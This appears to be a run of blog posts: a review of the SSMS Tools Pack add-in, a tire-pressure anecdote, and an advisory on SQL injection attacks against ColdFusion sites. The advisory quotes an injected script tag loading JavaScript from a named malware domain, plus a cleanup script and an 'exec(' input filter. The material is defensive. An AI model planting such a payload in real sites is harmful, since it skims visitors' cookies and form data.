You know all those little things that make you crazy when you’re developing in SQL Server Management Studio? Those pieces of functionality that you just can’t understand why Microsoft didn’t just include it? Stuff like generating a set of CRUD statements (Create, Read, Update Delete), or running custom scripts right from the SSMS GUI, or even a way to analyze execution plans rather than read through them? Yeah, Mladen Prajdic felt exactly the same way. Except unlike the rest of us, instead of sitting around moaning about how the software doesn’t do this or that for me, Mladen just started building it for himself. Then he went one step farther, he let the rest of us have it too. That’s right, SSMS Tools Pack is a free piece of software that patches over a lot of the little cracks in SSMS (although I’m certain that Mladen wouldn’t mind contributions if you really love his work). It works with SQL Server versions from 2000 to Denali and it does everything that it does working directly within SSMS so you can stay well and truly inside your comfort zone, developing with the toolset that you’re used to. In fact, SSMS Tools Pack will quickly become one of those pieces of software that you won’t want to live without.

Download and Install

When I heard that a whole new version was becoming available, I couldn’t wait to try it out. I downloaded it the first day it was available. Here is the exhaustive list of actions and requirements to download the software:

• Go to http://www.ssmstoolspack.com/Download
• Click on the download button

That’s right. No registration, no email address, no home phone, none of the standard stuff that you have to supply in order to get a piece of software. Did I mention that this is free software and that Mladen doesn’t really want to know who you are in order to supply you with it?

After you launch the installer, it will recognize what version of SQL Server you have installed on your desktop. I tried the install on a 2008R2 instance and on a Denali instance and didn’t have any troubles with it whatsoever.

On the Denali instance, I had SQL Server Management Studio open when I did the install. I didn’t get any error messages, but when I went to SSMS I also didn’t see any of the new tools available. Upon restarting SSMS, the tools loaded right up.

Functionality

There’s a shocking amount of functionality built into this piece of software. Because it covers so much different functionality trying to find a handle for how to approach the evaluation isn’t entirely simple. So, with the full set of functionality in front of me, I’m going to cover the stuff that I find cool or intriguing. If I leave out your favorite function, there’s your chance to post a comment or write up an article of your own.

Mind you, I’m not going right to the coolest stuff. We’ll start slow and build.

Generate CRUD

There’s a small market on code generators for SQL Server. Why? Because most of the queries, the CUD part of CRUD, can be built completely through generation. There just is no reason why SSMS can’t do this on its own. But, instead of having to go to an outside tool or work with code bases other than TSQL, you can just right click on the table you’re interested in and one of the new context menu choices is “SSMS Tools” and right under that, “Create CRUD…” Clicking on it opens a new query window with a set of stored procedures all set up to add, update, remove or read the data from the table selected. It’s that easy. The statements are well formatted too with DROP statements before the create statements so that you can run this as needed when you change your structures.

It gets better though. You’re not dependent on the structures that Mladen has provided. If you go to the SSMS Tools menu, there’s a list of options to modify different functionality. CRUD Generation is right there with some of what you can control as shown in Figure 1:

Figure 1

As you can see you can turn the functionality on or off. More importantly, you can control column order, set stored procedure prefixes and others. But the important stuff is on the next four tabs. You’re not dependent on Mladen’s choices for how to format and layout your procedures (although I don’t have any problems with his choices). If you wanted to put a standard TRY/CATCH error handler in your Insert statements, all you have to do is click on the tab and modify the query you find there, just like you see in Figure 2:

Figure 2

All you have to do is follow the instructions and you can modify these procedures so that they work exactly the way you’d want them to.

One change I’d like to see, make it so that I don’t have to generate the Read procedure because those are mostly not simple, select from one table, affairs on systems I’ve worked with.

Connection Coloring

I’ve never in my life done something like what I’m about to describe, but I’ve heard that others have done so. You hit execute on that RESTORE DATABASE script and you set it to restricted user and put ROLLBACK IMMEDIATE in there because the developers on the development server where you’re restoring the database are never logged out even though they say they are and then your eye drifts down to the bottom of the screen… wait, that’s not DEV02\BoringOldDevServer. It’s PROD42\YouBetterGetYourResumeCleanedUpServer. Oh… *******…

Not that I’ve ever done that, or at least, there are no living witnesses that I’ve ever done that. Same thing really.

That’s where Windows Connection Coloring comes in handy. If you go back to the SSMS Tools menu you can find the appropriate menu and open the options window. Once the window is open, you can supply a server name, or, you can use regular expressions to define a pattern, so that you can set a group of servers up to behave a certain way. Figure 3 shows how I configured it locally:

Figure 3

If you do type in a regular expression, make sure you also select the “IsRegex” checkbox. Once you have things set up appropriately, you’ll see a colored bar at the top of your query window so you can be very aware of which server or set of servers you’re currently connected to. Figure 4 shows the bar on display:

Figure 4

I realize this is a pretty simplistic little thing, but if a simple little thing can prevent a production outage, it’s pretty cool. In keeping with my irritate Mladen with more suggestions though, since you can format the bottom color on connections individually, it would be good if this also updated that color so that you could see the color chosen for a particular connection on the top and the bottom of the query window.

Tab Sessions

New with Version 2 of SSMS Tools Pack is the Tab Sessions. This little bit of functionality keeps track of the tabs that you have open in SSMS and the TSQL inside those tabs. On a periodic basis (set within the options screen) it will save the tabs and the code. Then, say after a exiting and reentering SSMS you can hit the Restore Session button on the toolbar and it will reopen your tabs. Which is really cool, but it gets better.

If you go to the SSMS Tools menu and to the “SQL History” menu there, you can see the “Tabs History Management” menu choice. Clicking on that will open up a collection of different sets of tabs going back in time. You can see an example in Figure 5:

Figure 5

It’s cool that you can scroll through these and pick one to restore, but what’s really cool is that you can then click on the tabs, like I have on the center one, and scroll through the code on that tab to ensure it’s the one you want. I’m digging this in a major way.

One major issue that I do have with it though, and this isn’t just another irritate Mladen request, is that while it knows which TSQL I have in a tab, it’s ignorant of the fact that that TSQL is from a file, so it will restore the TSQL to the appropriate tab on your window, but it won’t link it back up with the file that you had it open from. If you continue editing that TSQL, it won’t be saving to the file until you choose save and overwrite what you saved originally.

Execution Plan Analyzer

I’ve saved the coolest new feature for last. SSMS Tools integrates with your execution plans. There’s a button on the SSMS toolbar, “Show/Hide Execution Plan Analyzer.” Click on that button when you have an execution plan open in SSMS, any plan, even from a file, and your execution plan screen will suddenly change to look like Figure 6:

Figure 6

What you’ve got are different sets of functionality. Across the top are three buttons, offering you the ability identify the highest cost operation, search operators, and get suggestions on plan improvements. Yeah, you heard me, it’ll help you turn your queries.

The first piece of functionality, identify the highest cost operation, that’s hardly worth talking about on a plan that looks like the one above. But how a plan that looks like Figure 7?

Figure 7:

Yeah, that’s one of the hairiest plans I’ve ever seen and I sure would have used this to browse through that plan (I used XQuery to find the costliest operators, worked, but it wasn’t pretty like this). You can adjust it too so that it shows more or less operations based on their cost by using the little slider bar right above it. The tool tip will show the name of the operator and the cost and clicking on it will take you to that operator within the plan. That’s extremely handy.

But, you can adjust the default values, and you can pick other properties from the Options window and have them bubble to the top. More interested in high numbers of Estimated Rows, change the property and you’ll see those operations that exceed the value that you supply on the bar on the left side of the screen. Again, very handy.

Next, you can search for operators. Want to know if you have a Sort operation in that mess of icons? Click the button and type in the term. You’ll see any and all Sort operations. But, it gets better. What if you’re curious that the primary key was used in the query. Type that in and you’ll see results like Figure 8:

Figure 8.

I left the tooltip up so that you can see that SSMS Tools Pack searches inside the operators to find the things you were interested in.

Now, what about this tuning help? I’ll quote Mladen on this one:

It goes through your plan finding most common problems and gives you the usual solution for each one. This feature isn't meant to replace manual analysis but it will find the usual problematic spots that you can fix up fast.

The query I gave it is very simple and has a couple of issues, primarily structural. You can see that SQL Server thinks I need a different index. Let’s see what SSMS Tools Pack says I ought to do about it.

Figure 9:

It called out two issues, the Merge Join, and the Clustered Index scan that you can see in Figure 9. On both it pointed out that my estimated number of rows and my actual number of rows differed by a significant amount. This is true. I use this query to demonstrate bad parameter sniffing. The suggested solutions were to update the statistics on all tables used in the query or to check for missing indexes. These are excellent suggestions. Neither will work in this case because I’ve got a skewed data set (like I said, this is my demo code and it’s broken on purpose), but nonetheless, based on the information provided, these are the same recommendations I’d make myself. I’m impressed.

And More

Yes, there’s more. I can’t cover everything without generating about 50 pages of documentation to go through all the functionality and all the control over that functionality that you get. Here’s a quick run-down on some of the stuff I didn’t cover:

SQL SnippetsSearch Table/View/Database DataRun Scripts on Multiple ServersSearch Results in GridCustom Scripts from Object Explorer

Mladen did a nice job of documenting all the functionality, including the parts I didn’t mention.

 

This article was syndicated from simple talk.

In the world of network servers, the term "honeypot" refers to a server that is placed in an environment for the sole purpose of attracting those who are snooping around, and capturing their activities within the honeypot server. Honeycombing a database is a very similar approach and involves creating "decoy" tables within a database that appear to contain valid, and unprotected, sensitive data. When unauthorized activity occurs on the decoy table, it is captured in an audit table and a notification is sent to the appropriate parties.

 

I recently came across an interesting book entitled Protecting SQL Server Data, From the previous url you can download a free 220 page ebook and this article is taken from chapter 1 in which you learn how to set a "honey trap" for would-be data thieves, allowing the DBA to identify the precursors of an attack and respond quickly and also to better understand the techniques being used to breach existing security measures.

It is certainly worth a read if database security is important to you or you have any sites that have been hacked through SQL injection.

If you ever read your bike or car manual you will note that is does advise you to regularly check your tire pressure, especially before a long trip. Like most people this is something I rarely remember to do, but now I wish I had.

My motorcycle had been sitting in the garage for a couple of months since I had last used it, so I thought it was time to take it out for a ride. The first thing I noticed was how hard it was to push it out of the garage, which I thought was due to the fact that pushing my bike about was the only exercise my poor legs got, so were now out of practice. Over the next few weeks there were other niggling things I noticed such as cornering and roundabouts being a little hard to handle and leaning the bike too far was starting to feel very uncomfortable, which I put down to having become used to driving a car the past months and not using my bike, yes believe it or not at almost 40 years old I only recently got my car license, but despite all the avoidance for all these the years I am now quite happy to be warm and dry in my car and not out on my bike most of the time :-)

Anyway while standing behind my bike one day I noticed that the rear tire looked a little flat, which again is in the manual, if you leave your bike unused for any length off time, this will happen and you are not supposed to leave it on the stand for long periods of time.

So I popped down to the garage to put some air in my tires, but what a difference it made to the bike performance. After I have increased both tires to the correct pressure it was like having a new bike. suddenly it was easy to manuvere again, gliding back and forwards with little effort, handling was also improved dramatically, with corners and roundabouts suddenly a synch again, and I was able to lean without feeling like I might lose the bike. So it seems my conversion to a car driver hadn't made me lose my bike riding skills at all, it was just down to the tires, and as well as spoiling the enjoyment of riding, it was also clealry quite dangerous as the ability to manuvere and handle the bike was dramatically decreased. While this situation is obviously a lot more drastic on 2 wheels, the same obviously must be true for your car as well, it also increases your fuel comsumption and wears your tires out quicker too, so the moral of the story, RTFM and REGULALRY CHECK YOUR TIRE PRESSURE.

The real bummer is that I now think this was the cause of my problems with my old Vulcan 1600 which caused me to sell me as I thought it was simply too big for my first bike.

This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using <cfqueryparam>. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.

 

Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam probably due to not knowing it exists. In fact CFQueryParam has existed since CF4.5, andI have to admit even I didn't know that, it has only really been promoted as a best practice and way to avoid SQL injection since CF6.

 

In mid-July, the hacker webzine 0x000000.com discussed potential pitfalls, particularly within older versions of ColdFusion, which could lend themselves to potential compromise:

~ Easily discoverable passwords
~ Lack of parameterized query handling
~ Failure to properly escape single quotes
~ Returning error messages that are too verbose

 

Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.

 

Following are some of the malware domains involved in the recent ColdFusion attacks:

• mh.976801.cn
• 1.verynx.cn
• mm.ll80.com

 

Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.

 

</title><script src="http://1.verynx.cn/w.js"></script>

 

The resulting javascript which gets loaded into your pages is used to "phish" your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.

 

 

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor


 

 

 

This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.

 

Protecting Yourself 

 

All of the attacks we have seen so far seem to be implemented by using the "Exec()" command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.

 

E.G.

 

<cfloop collection="#form#" item="item">
 <cfif form[item] contains "exec(">
    .. your decision code here ...
 </cfif>
</cfloop>
<cfloop collection="#URL#" item="item">
 <cfif form[item] contains "exec(">
     .. your decision code here ...
 </cfif>
</cfloop>

 

You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.

You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using <cfapram> or val() for example.

The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to.

 

If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like "exec" or "declare" or other sql statements.

 

 

If you have been using SQL Server 2005 express  you will no doubt have noticed the lack of any backup options in SQL Web Studio Express or an SQLAgent, which is a big issue as you should be keeping backups of your databases.

Thankfully there is a solution using the expressmaint utility and windows scheduled tasks, and I found this handy article on how to use this solution to overcome this limitation of SQL Server 2005 express.

 

Now I just need to find a solution for the lack of import/export facilities, which I think is a major exclusion from the Web Studio Express and really limits its usefulness.